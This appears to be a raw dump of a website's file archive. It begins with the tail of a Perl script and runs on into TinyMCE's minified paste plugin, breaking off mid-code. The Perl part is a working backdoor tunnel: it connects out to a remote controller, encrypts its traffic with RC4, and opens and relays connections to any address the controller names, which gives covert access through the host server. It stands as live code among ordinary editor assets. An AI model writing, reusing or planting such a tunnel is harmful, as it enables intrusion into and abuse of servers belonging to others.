{ my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); tinymce/plugins/paste/plugin.min.js 0000644 00000074165 15111757756 0013463 0 ustar 00 !function(v){"use strict";var p=function(t){var e=t,n=function(){return e};return{get:n,set:function(t){e=t},clone:function(){return p(n())}}},e=tinymce.util.Tools.resolve("tinymce.PluginManager"),a=function(t){return!(!/(^|[ ,])powerpaste([, ]|$)/.test(t.settings.plugins)||!e.get("powerpaste")||("undefined"!=typeof v.window.console&&v.window.console.log&&v.window.console.log("PowerPaste is incompatible with Paste plugin! Remove 'paste' from the 'plugins' option."),0))},u=function(t,e){return{clipboard:t,quirks:e}},d=function(t,e,n,r){return t.fire("PastePreProcess",{content:e,internal:n,wordContent:r})},m=function(t,e,n,r){return t.fire("PastePostProcess",{node:e,internal:n,wordContent:r})},s=function(t,e){return t.fire("PastePlainTextToggle",{state:e})},n=function(t,e){return t.fire("paste",{ieFake:e})},g={shouldPlainTextInform:function(t){return t.getParam("paste_plaintext_inform",!0)},shouldBlockDrop:function(t){return t.getParam("paste_block_drop",!1)},shouldPasteDataImages:function(t){return t.getParam("paste_data_images",!1)},shouldFilterDrop:function(t){return t.getParam("paste_filter_drop",!0)},getPreProcess:function(t){return t.getParam("paste_preprocess")},getPostProcess:function(t){return t.getParam("paste_postprocess")},getWebkitStyles:function(t){return t.getParam("paste_webkit_styles")},shouldRemoveWebKitStyles:function(t){return t.getParam("paste_remove_styles_if_webkit",!0)},shouldMergeFormats:function(t){return t.getParam("paste_merge_formats",!0)},isSmartPasteEnabled:function(t){return t.getParam("smart_paste",!0)},isPasteAsTextEnabled:function(t){return t.getParam("paste_as_text",!1)},getRetainStyleProps:function(t){return t.getParam("paste_retain_style_properties")},getWordValidElements:function(t){return t.getParam("paste_word_valid_elements","-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody")},shouldConvertWordFakeLists:function(t){return t.getParam("paste_convert_word_fake_lists",!0)},shouldUseDefaultFilters:function(t){return t.getParam("paste_enable_default_filters",!0)}},r=function(t,e,n){var r,o,i;"text"===e.pasteFormat.get()?(e.pasteFormat.set("html"),s(t,!1)):(e.pasteFormat.set("text"),s(t,!0),i=t,!1===n.get()&&g.shouldPlainTextInform(i)&&(o="Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.",(r=t).notificationManager.open({text:r.translate(o),type:"info"}),n.set(!0))),t.focus()},c=function(t,n,e){t.addCommand("mceTogglePlainTextPaste",function(){r(t,n,e)}),t.addCommand("mceInsertClipboardContent",function(t,e){e.content&&n.pasteHtml(e.content,e.internal),e.text&&n.pasteText(e.text)})},h=tinymce.util.Tools.resolve("tinymce.Env"),y=tinymce.util.Tools.resolve("tinymce.util.Delay"),b=tinymce.util.Tools.resolve("tinymce.util.Tools"),o=tinymce.util.Tools.resolve("tinymce.util.VK"),t="x-tinymce/html",i="\x3c!-- "+t+" --\x3e",l=function(t){return i+t},f=function(t){return t.replace(i,"")},w=function(t){return-1!==t.indexOf(i)},x=function(){return t},_=tinymce.util.Tools.resolve("tinymce.html.Entities"),P=function(t){return t.replace(/\r?\n/g,"<br>")},T=function(t,e,n){var r=t.split(/\n\n/),o=function(t,e){var n,r=[],o="<"+t;if("object"==typeof e){for(n in e)e.hasOwnProperty(n)&&r.push(n+'="'+_.encodeAllRaw(e[n])+'"');r.length&&(o+=" "+r.join(" "))}return o+">"}(e,n),i="</"+e+">",a=b.map(r,function(t){return t.split(/\n/).join("<br />")});return 1===a.length?a[0]:b.map(a,function(t){return o+t+i}).join("")},D=function(t){return!/<(?:\/?(?!(?:div|p|br|span)>)\w+|(?:(?!(?:span style="white-space:\s?pre;?">)|br\s?\/>))\w+\s[^>]+)>/i.test(t)},C=function(t,e,n){return e?T(t,e,n):P(t)},k=tinymce.util.Tools.resolve("tinymce.html.DomParser"),F=tinymce.util.Tools.resolve("tinymce.html.Serializer"),E=tinymce.util.Tools.resolve("tinymce.html.Node"),R=tinymce.util.Tools.resolve("tinymce.html.Schema");function I(e,t){return b.each(t,function(t){e=t.constructor===RegExp?e.replace(t,""):e.replace(t[0],t[1])}),e}var O={filter:I,innerText:function(e){var n=R(),r=k({},n),o="",i=n.getShortEndedElements(),a=b.makeMap("script noscript style textarea video audio iframe object"," "),u=n.getBlockElements();return e=I(e,[/<!\[[^\]]+\]>/g]),function t(e){var n=e.name,r=e;if("br"!==n){if("wbr"!==n)if(i[n]&&(o+=" "),a[n])o+=" ";else{if(3===e.type&&(o+=e.value),!e.shortEnded&&(e=e.firstChild))for(;t(e),e=e.next;);u[n]&&r.next&&(o+="\n","p"===n&&(o+="\n"))}}else o+="\n"}(r.parse(e)),o},trimHtml:function(t){return t=I(t,[/^[\s\S]*<body[^>]*>\s*|\s*<\/body[^>]*>[\s\S]*$/gi,/<!--StartFragment-->|<!--EndFragment-->/g,[/( ?)<span class="Apple-converted-space">\u00a0<\/span>( ?)/g,function(t,e,n){return e||n?"\xa0":" "}],/<br class="Apple-interchange-newline">/g,/<br>$/i])},createIdGenerator:function(t){var e=0;return function(){return t+e++}},isMsEdge:function(){return-1!==v.navigator.userAgent.indexOf(" Edge/")}};function S(e){var n,t;return t=[/^[IVXLMCD]{1,2}\.[ \u00a0]/,/^[ivxlmcd]{1,2}\.[ \u00a0]/,/^[a-z]{1,2}[\.\)][ \u00a0]/,/^[A-Z]{1,2}[\.\)][ \u00a0]/,/^[0-9]+\.[ \u00a0]/,/^[\u3007\u4e00\u4e8c\u4e09\u56db\u4e94\u516d\u4e03\u516b\u4e5d]+\.[ \u00a0]/,/^[\u58f1\u5f10\u53c2\u56db\u4f0d\u516d\u4e03\u516b\u4e5d\u62fe]+\.[ \u00a0]/],e=e.replace(/^[\u00a0 ]+/,""),b.each(t,function(t){if(t.test(e))return!(n=!0)}),n}function A(t){var i,a,u=1;function n(t){var e="";if(3===t.type)return t.value;if(t=t.firstChild)for(;e+=n(t),t=t.next;);return e}function s(t,e){if(3===t.type&&e.test(t.value))return t.value=t.value.replace(e,""),!1;if(t=t.firstChild)do{if(!s(t,e))return!1}while(t=t.next);return!0}function e(e,n,r){var o=e._listLevel||u;o!==u&&(o<u?i&&(i=i.parent.parent):(a=i,i=null)),i&&i.name===n?i.append(e):(a=a||i,i=new E(n,1),1<r&&i.attr("start",""+r),e.wrap(i)),e.name="li",u<o&&a&&a.lastChild.append(i),u=o,function t(e){if(e._listIgnore)e.remove();else if(e=e.firstChild)for(;t(e),e=e.next;);}(e),s(e,/^\u00a0+/),s(e,/^\s*([\u2022\u00b7\u00a7\u25CF]|\w+\.)/),s(e,/^\u00a0+/)}for(var r=[],o=t.firstChild;null!=o;)if(r.push(o),null!==(o=o.walk()))for(;void 0!==o&&o.parent!==t;)o=o.walk();for(var c=0;c<r.length;c++)if("p"===(t=r[c]).name&&t.firstChild){var l=n(t);if(/^[\s\u00a0]*[\u2022\u00b7\u00a7\u25CF]\s*/.test(l)){e(t,"ul");continue}if(S(l)){var f=/([0-9]+)\./.exec(l),d=1;f&&(d=parseInt(f[1],10)),e(t,"ol",d);continue}if(t._listLevel){e(t,"ul",1);continue}i=null}else a=i,i=null}function j(n,r,o,i){var a,u={},t=n.dom.parseStyle(i);return b.each(t,function(t,e){switch(e){case"mso-list":(a=/\w+ \w+([0-9]+)/i.exec(i))&&(o._listLevel=parseInt(a[1],10)),/Ignore/i.test(t)&&o.firstChild&&(o._listIgnore=!0,o.firstChild._listIgnore=!0);break;case"horiz-align":e="text-align";break;case"vert-align":e="vertical-align";break;case"font-color":case"mso-foreground":e="color";break;case"mso-background":case"mso-highlight":e="background";break;case"font-weight":case"font-style":return void("normal"!==t&&(u[e]=t));case"mso-element":if(/^(comment|comment-list)$/i.test(t))return void o.remove()}0!==e.indexOf("mso-comment")?0!==e.indexOf("mso-")&&("all"===g.getRetainStyleProps(n)||r&&r[e])&&(u[e]=t):o.remove()}),/(bold)/i.test(u["font-weight"])&&(delete u["font-weight"],o.wrap(new E("b",1))),/(italic)/i.test(u["font-style"])&&(delete u["font-style"],o.wrap(new E("i",1))),(u=n.dom.serializeStyle(u,o.name))||null}var M,L,N,B,H,$,W,U,z,V={preProcess:function(t,e){return g.shouldUseDefaultFilters(t)?function(r,t){var e,o;(e=g.getRetainStyleProps(r))&&(o=b.makeMap(e.split(/[, ]/))),t=O.filter(t,[/<br class="?Apple-interchange-newline"?>/gi,/<b[^>]+id="?docs-internal-[^>]*>/gi,/<!--[\s\S]+?-->/gi,/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,[/<(\/?)s>/gi,"<$1strike>"],[/ /gi,"\xa0"],[/<span\s+style\s*=\s*"\s*mso-spacerun\s*:\s*yes\s*;?\s*"\s*>([\s\u00a0]*)<\/span>/gi,function(t,e){return 0<e.length?e.replace(/./," ").slice(Math.floor(e.length/2)).split("").join("\xa0"):""}]]);var n=g.getWordValidElements(r),i=R({valid_elements:n,valid_children:"-li[p]"});b.each(i.elements,function(t){t.attributes["class"]||(t.attributes["class"]={},t.attributesOrder.push("class")),t.attributes.style||(t.attributes.style={},t.attributesOrder.push("style"))});var a=k({},i);a.addAttributeFilter("style",function(t){for(var e,n=t.length;n--;)(e=t[n]).attr("style",j(r,o,e,e.attr("style"))),"span"===e.name&&e.parent&&!e.attributes.length&&e.unwrap()}),a.addAttributeFilter("class",function(t){for(var e,n,r=t.length;r--;)n=(e=t[r]).attr("class"),/^(MsoCommentReference|MsoCommentText|msoDel)$/i.test(n)&&e.remove(),e.attr("class",null)}),a.addNodeFilter("del",function(t){for(var e=t.length;e--;)t[e].remove()}),a.addNodeFilter("a",function(t){for(var e,n,r,o=t.length;o--;)if(n=(e=t[o]).attr("href"),r=e.attr("name"),n&&-1!==n.indexOf("#_msocom_"))e.remove();else if(n&&0===n.indexOf("file://")&&(n=n.split("#")[1])&&(n="#"+n),n||r){if(r&&!/^_?(?:toc|edn|ftn)/i.test(r)){e.unwrap();continue}e.attr({href:n,name:r})}else e.unwrap()});var u=a.parse(t);return g.shouldConvertWordFakeLists(r)&&A(u),t=F({validate:r.settings.validate},i).serialize(u)}(t,e):e},isWordContent:function(t){return/<font face="Times New Roman"|class="?Mso|style="[^"]*\bmso-|style='[^'']*\bmso-|w:WordDocument/i.test(t)||/class="OutlineElement/.test(t)||/id="?docs\-internal\-guid\-/.test(t)}},K=function(t,e){return{content:t,cancelled:e}},q=function(t,e,n,r){var o,i,a,u,s,c,l=d(t,e,n,r),f=function(t,e){var n=k({},t.schema);n.addNodeFilter("meta",function(t){b.each(t,function(t){return t.remove()})});var r=n.parse(e,{forced_root_block:!1,isRootContent:!0});return F({validate:t.settings.validate},t.schema).serialize(r)}(t,l.content);return t.hasEventListeners("PastePostProcess")&&!l.isDefaultPrevented()?(i=f,a=n,u=r,s=(o=t).dom.create("div",{style:"display:none"},i),c=m(o,s,a,u),K(c.node.innerHTML,c.isDefaultPrevented())):K(f,l.isDefaultPrevented())},G=function(t,e,n){var r=V.isWordContent(e),o=r?V.preProcess(t,e):e;return q(t,o,n,r)},X=function(t,e){return t.insertContent(e,{merge:g.shouldMergeFormats(t),paste:!0}),!0},Y=function(t){return/^https?:\/\/[\w\?\-\/+=.&%@~#]+$/i.test(t)},Z=function(t){return Y(t)&&/.(gif|jpe?g|png)$/.test(t)},J=function(t,e,n){return!(!1!==t.selection.isCollapsed()||!Y(e)||(o=e,i=n,(r=t).undoManager.extra(function(){i(r,o)},function(){r.execCommand("mceInsertLink",!1,o)}),0));var r,o,i},Q=function(t,e,n){return!!Z(e)&&(o=e,i=n,(r=t).undoManager.extra(function(){i(r,o)},function(){r.insertContent('<img src="'+o+'">')}),!0);var r,o,i},tt=function(t,e){var n,r;!1===g.isSmartPasteEnabled(t)?X(t,e):(n=t,r=e,b.each([J,Q,X],function(t){return!0!==t(n,r,X)}))},et=function(){},nt=function(t){return function(){return t}},rt=nt(!1),ot=nt(!0),it=function(){return at},at=(M=function(t){return t.isNone()},B={fold:function(t,e){return t()},is:rt,isSome:rt,isNone:ot,getOr:N=function(t){return t},getOrThunk:L=function(t){return t()},getOrDie:function(t){throw new Error(t||"error: getOrDie called on none.")},getOrNull:nt(null),getOrUndefined:nt(undefined),or:N,orThunk:L,map:it,each:et,bind:it,exists:rt,forall:ot,filter:it,equals:M,equals_:M,toArray:function(){return[]},toString:nt("none()")},Object.freeze&&Object.freeze(B),B),ut=function(n){var t=nt(n),e=function(){return o},r=function(t){return t(n)},o={fold:function(t,e){return e(n)},is:function(t){return n===t},isSome:ot,isNone:rt,getOr:t,getOrThunk:t,getOrDie:t,getOrNull:t,getOrUndefined:t,or:e,orThunk:e,map:function(t){return ut(t(n))},each:function(t){t(n)},bind:r,exists:r,forall:r,filter:function(t){return t(n)?o:at},toArray:function(){return[n]},toString:function(){return"some("+n+")"},equals:function(t){return t.is(n)},equals_:function(t,e){return t.fold(rt,function(t){return e(n,t)})}};return o},st={some:ut,none:it,from:function(t){return null===t||t===undefined?at:ut(t)}},ct=(H="function",function(t){return function(t){if(null===t)return"null";var e=typeof t;return"object"===e&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"===e&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":e}(t)===H}),lt=Array.prototype.slice,ft=function(t,e){for(var n=t.length,r=new Array(n),o=0;o<n;o++){var i=t[o];r[o]=e(i,o)}return r},dt=function(t,e){for(var n=0,r=t.length;n<r;n++)e(t[n],n)},mt=ct(Array.from)?Array.from:function(t){return lt.call(t)},pt={},gt={exports:pt};$=undefined,W=pt,U=gt,z=undefined,function(t){"object"==typeof W&&void 0!==U?U.exports=t():"function"==typeof $&&$.amd?$([],t):("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).EphoxContactWrapper=t()}(function(){return function i(a,u,s){function c(e,t){if(!u[e]){if(!a[e]){var n="function"==typeof z&&z;if(!t&&n)return n(e,!0);if(l)return l(e,!0);var r=new Error("Cannot find module '"+e+"'");throw r.code="MODULE_NOT_FOUND",r}var o=u[e]={exports:{}};a[e][0].call(o.exports,function(t){return c(a[e][1][t]||t)},o,o.exports,i,a,u,s)}return u[e].exports}for(var l="function"==typeof z&&z,t=0;t<s.length;t++)c(s[t]);return c}({1:[function(t,e,n){var r,o,i=e.exports={};function a(){throw new Error("setTimeout has not been defined")}function u(){throw new Error("clearTimeout has not been defined")}function s(t){if(r===setTimeout)return setTimeout(t,0);if((r===a||!r)&&setTimeout)return r=setTimeout,setTimeout(t,0);try{return r(t,0)}catch(e){try{return r.call(null,t,0)}catch(e){return r.call(this,t,0)}}}!function(){try{r="function"==typeof setTimeout?setTimeout:a}catch(t){r=a}try{o="function"==typeof clearTimeout?clearTimeout:u}catch(t){o=u}}();var c,l=[],f=!1,d=-1;function m(){f&&c&&(f=!1,c.length?l=c.concat(l):d=-1,l.length&&p())}function p(){if(!f){var t=s(m);f=!0;for(var e=l.length;e;){for(c=l,l=[];++d<e;)c&&c[d].run();d=-1,e=l.length}c=null,f=!1,function(t){if(o===clearTimeout)return clearTimeout(t);if((o===u||!o)&&clearTimeout)return o=clearTimeout,clearTimeout(t);try{o(t)}catch(e){try{return o.call(null,t)}catch(e){return o.call(this,t)}}}(t)}}function g(t,e){this.fun=t,this.array=e}function v(){}i.nextTick=function(t){var e=new Array(arguments.length-1);if(1<arguments.length)for(var n=1;n<arguments.length;n++)e[n-1]=arguments[n];l.push(new g(t,e)),1!==l.length||f||s(p)},g.prototype.run=function(){this.fun.apply(null,this.array)},i.title="browser",i.browser=!0,i.env={},i.argv=[],i.version="",i.versions={},i.on=v,i.addListener=v,i.once=v,i.off=v,i.removeListener=v,i.removeAllListeners=v,i.emit=v,i.prependListener=v,i.prependOnceListener=v,i.listeners=function(t){return[]},i.binding=function(t){throw new Error("process.binding is not supported")},i.cwd=function(){return"/"},i.chdir=function(t){throw new Error("process.chdir is not supported")},i.umask=function(){return 0}},{}],2:[function(t,f,e){(function(n){!function(t){var e=setTimeout;function r(){}function a(t){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof t)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=undefined,this._deferreds=[],l(t,this)}function o(r,o){for(;3===r._state;)r=r._value;0!==r._state?(r._handled=!0,a._immediateFn(function(){var t=1===r._state?o.onFulfilled:o.onRejected;if(null!==t){var e;try{e=t(r._value)}catch(n){return void u(o.promise,n)}i(o.promise,e)}else(1===r._state?i:u)(o.promise,r._value)})):r._deferreds.push(o)}function i(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if(e instanceof a)return t._state=3,t._value=e,void s(t);if("function"==typeof n)return void l((r=n,o=e,function(){r.apply(o,arguments)}),t)}t._state=1,t._value=e,s(t)}catch(i){u(t,i)}var r,o}function u(t,e){t._state=2,t._value=e,s(t)}function s(t){2===t._state&&0===t._deferreds.length&&a._immediateFn(function(){t._handled||a._unhandledRejectionFn(t._value)});for(var e=0,n=t._deferreds.length;e<n;e++)o(t,t._deferreds[e]);t._deferreds=null}function c(t,e,n){this.onFulfilled="function"==typeof t?t:null,this.onRejected="function"==typeof e?e:null,this.promise=n}function l(t,e){var n=!1;try{t(function(t){n||(n=!0,i(e,t))},function(t){n||(n=!0,u(e,t))})}catch(r){if(n)return;n=!0,u(e,r)}}a.prototype["catch"]=function(t){return this.then(null,t)},a.prototype.then=function(t,e){var n=new this.constructor(r);return o(this,new c(t,e,n)),n},a.all=function(t){var s=Array.prototype.slice.call(t);return new a(function(o,i){if(0===s.length)return o([]);var a=s.length;function u(e,t){try{if(t&&("object"==typeof t||"function"==typeof t)){var n=t.then;if("function"==typeof n)return void n.call(t,function(t){u(e,t)},i)}s[e]=t,0==--a&&o(s)}catch(r){i(r)}}for(var t=0;t<s.length;t++)u(t,s[t])})},a.resolve=function(e){return e&&"object"==typeof e&&e.constructor===a?e:new a(function(t){t(e)})},a.reject=function(n){return new a(function(t,e){e(n)})},a.race=function(o){return new a(function(t,e){for(var n=0,r=o.length;n<r;n++)o[n].then(t,e)})},a._immediateFn="function"==typeof n?function(t){n(t)}:function(t){e(t,0)},a._unhandledRejectionFn=function(t){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",t)},a._setImmediateFn=function(t){a._immediateFn=t},a._setUnhandledRejectionFn=function(t){a._unhandledRejectionFn=t},void 0!==f&&f.exports?f.exports=a:t.Promise||(t.Promise=a)}(this)}).call(this,t("timers").setImmediate)},{timers:3}],3:[function(s,t,c){(function(t,e){var r=s("process/browser.js").nextTick,n=Function.prototype.apply,o=Array.prototype.slice,i={},a=0;function u(t,e){this._id=t,this._clearFn=e}c.setTimeout=function(){return new u(n.call(setTimeout,window,arguments),clearTimeout)},c.setInterval=function(){return new u(n.call(setInterval,window,arguments),clearInterval)},c.clearTimeout=c.clearInterval=function(t){t.close()},u.prototype.unref=u.prototype.ref=function(){},u.prototype.close=function(){this._clearFn.call(window,this._id)},c.enroll=function(t,e){clearTimeout(t._idleTimeoutId),t._idleTimeout=e},c.unenroll=function(t){clearTimeout(t._idleTimeoutId),t._idleTimeout=-1},c._unrefActive=c.active=function(t){clearTimeout(t._idleTimeoutId);var e=t._idleTimeout;0<=e&&(t._idleTimeoutId=setTimeout(function(){t._onTimeout&&t._onTimeout()},e))},c.setImmediate="function"==typeof t?t:function(t){var e=a++,n=!(arguments.length<2)&&o.call(arguments,1);return i[e]=!0,r(function(){i[e]&&(n?t.apply(null,n):t.call(null),c.clearImmediate(e))}),e},c.clearImmediate="function"==typeof e?e:function(t){delete i[t]}}).call(this,s("timers").setImmediate,s("timers").clearImmediate)},{"process/browser.js":1,timers:3}],4:[function(t,e,n){var r=t("promise-polyfill"),o="undefined"!=typeof window?window:Function("return this;")();e.exports={boltExport:o.Promise||r}},{"promise-polyfill":2}]},{},[4])(4)});var vt=gt.exports.boltExport,ht=function(t){var n=st.none(),e=[],r=function(t){o()?a(t):e.push(t)},o=function(){return n.isSome()},i=function(t){dt(t,a)},a=function(e){n.each(function(t){v.setTimeout(function(){e(t)},0)})};return t(function(t){n=st.some(t),i(e),e=[]}),{get:r,map:function(n){return ht(function(e){r(function(t){e(n(t))})})},isReady:o}},yt={nu:ht,pure:function(e){return ht(function(t){t(e)})}},bt=function(t){v.setTimeout(function(){throw t},0)},wt=function(n){var t=function(t){n().then(t,bt)};return{map:function(t){return wt(function(){return n().then(t)})},bind:function(e){return wt(function(){return n().then(function(t){return e(t).toPromise()})})},anonBind:function(t){return wt(function(){return n().then(function(){return t.toPromise()})})},toLazy:function(){return yt.nu(t)},toCached:function(){var t=null;return wt(function(){return null===t&&(t=n()),t})},toPromise:n,get:t}},xt=function(t){return wt(function(){return new vt(t)})},_t=function(a,t){return t(function(r){var o=[],i=0;0===a.length?r([]):dt(a,function(t,e){var n;t.get((n=e,function(t){o[n]=t,++i>=a.length&&r(o)}))})})},Pt=function(t,e){return n=ft(t,e),_t(n,xt);var n},Tt=function(t,e,n){var r=n||w(e),o=G(t,f(e),r);!1===o.cancelled&&tt(t,o.content)},Dt=function(t,e){e=t.dom.encode(e).replace(/\r\n/g,"\n"),e=C(e,t.settings.forced_root_block,t.settings.forced_root_block_attrs),Tt(t,e,!1)},Ct=function(t){var e={};if(t){if(t.getData){var n=t.getData("Text");n&&0<n.length&&-1===n.indexOf("data:text/mce-internal,")&&(e["text/plain"]=n)}if(t.types)for(var r=0;r<t.types.length;r++){var o=t.types[r];try{e[o]=t.getData(o)}catch(i){e[o]=""}}}return e},kt=function(t,e){return e in t&&0<t[e].length},Ft=function(t){return kt(t,"text/html")||kt(t,"text/plain")},Et=O.createIdGenerator("mceclip"),Rt=function(e,t,n){var r,o,i,a,u="paste"===t.type?t.clipboardData:t.dataTransfer;if(e.settings.paste_data_images&&u){var s=(i=(o=u).items?ft(mt(o.items),function(t){return t.getAsFile()}):[],a=o.files?mt(o.files):[],function(t,e){for(var n=[],r=0,o=t.length;r<o;r++){var i=t[r];e(i,r)&&n.push(i)}return n}(0<i.length?i:a,function(t){return/^image\/(jpeg|png|gif|bmp)$/.test(t.type)}));if(0<s.length)return t.preventDefault(),(r=s,Pt(r,function(r){return xt(function(t){var e=r.getAsFile?r.getAsFile():r,n=new window.FileReader;n.onload=function(){t({blob:e,uri:n.result})},n.readAsDataURL(e)})})).get(function(t){n&&e.selection.setRng(n),dt(t,function(t){!function(t,e){var n,r,o,i,a,u,s,c=(n=e.uri,-1!==(r=n.indexOf(","))?n.substr(r+1):null),l=Et(),f=t.settings.images_reuse_filename&&e.blob.name?(o=t,i=e.blob.name,(a=i.match(/([\s\S]+?)\.(?:jpeg|jpg|png|gif)$/i))?o.dom.encode(a[1]):null):l,d=new v.Image;if(d.src=e.uri,u=t.settings,s=d,!u.images_dataimg_filter||u.images_dataimg_filter(s)){var m,p=t.editorUpload.blobCache,g=void 0;(m=p.findFirst(function(t){return t.base64()===c}))?g=m:(g=p.create(l,e.blob,c,f),p.add(g)),Tt(t,'<img src="'+g.blobUri()+'">',!1)}else Tt(t,'<img src="'+e.uri+'">',!1)}(e,t)})}),!0}return!1},It=function(t){return o.metaKeyPressed(t)&&86===t.keyCode||t.shiftKey&&45===t.keyCode},Ot=function(s,c,l){var e,f,d=(e=p(st.none()),{clear:function(){e.set(st.none())},set:function(t){e.set(st.some(t))},isSet:function(){return e.get().isSome()},on:function(t){e.get().each(t)}});function m(t,e,n,r){var o,i;kt(t,"text/html")?o=t["text/html"]:(o=c.getHtml(),r=r||w(o),c.isDefaultContent(o)&&(n=!0)),o=O.trimHtml(o),c.remove(),i=!1===r&&D(o),o.length&&!i||(n=!0),n&&(o=kt(t,"text/plain")&&i?t["text/plain"]:O.innerText(o)),c.isDefaultContent(o)?e||s.windowManager.alert("Please use Ctrl+V/Cmd+V keyboard shortcuts to paste contents."):n?Dt(s,o):Tt(s,o,r)}s.on("keydown",function(t){function 